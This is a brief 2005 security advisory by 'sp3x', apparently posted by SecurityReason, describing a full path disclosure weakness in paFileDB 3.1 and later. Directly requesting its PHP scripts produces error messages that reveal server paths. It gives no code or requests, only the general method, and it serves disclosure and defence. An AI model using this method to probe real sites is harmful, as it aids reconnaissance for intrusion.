SecurityReason - Mass Full Path Disclosure in paFileDB ( Research Advisory )

Advisory Text :

-=[ Mass Full Path Disclosure in paFileDB ]=-

Author: sp3x
Date: 12 March 2005

Affected software :
===================
paFileDB version : =>3.1

Description :
=============

paFileDB is designed to allow webmasters have a database of files for
download on their site.
To add a download, all you do is upload the file using FTP or whatever
method you use, log
into paFileDB's admin center, and fill out a form to add a file. paFileDB
lets you edit and
delete the files too.
No more messing with a bunch of HTML pages for a file database on your
site!
Using speedy MySQL for storing data, and powerful PHP for processing
everything, paFileDB is
one of the best and easiest ways to manage files!

Full Path Disclosure :
======================

Full path to script must be kept in secret because it can lead to
successful attack on the
website. If the attacker know Full path to script , he can start searching
some more info on
others folders or about the server where the site is and then try to break
in.

Many scripts can be accessed directly and this will provoke standard
php error messages, which leads to full path disclosure.
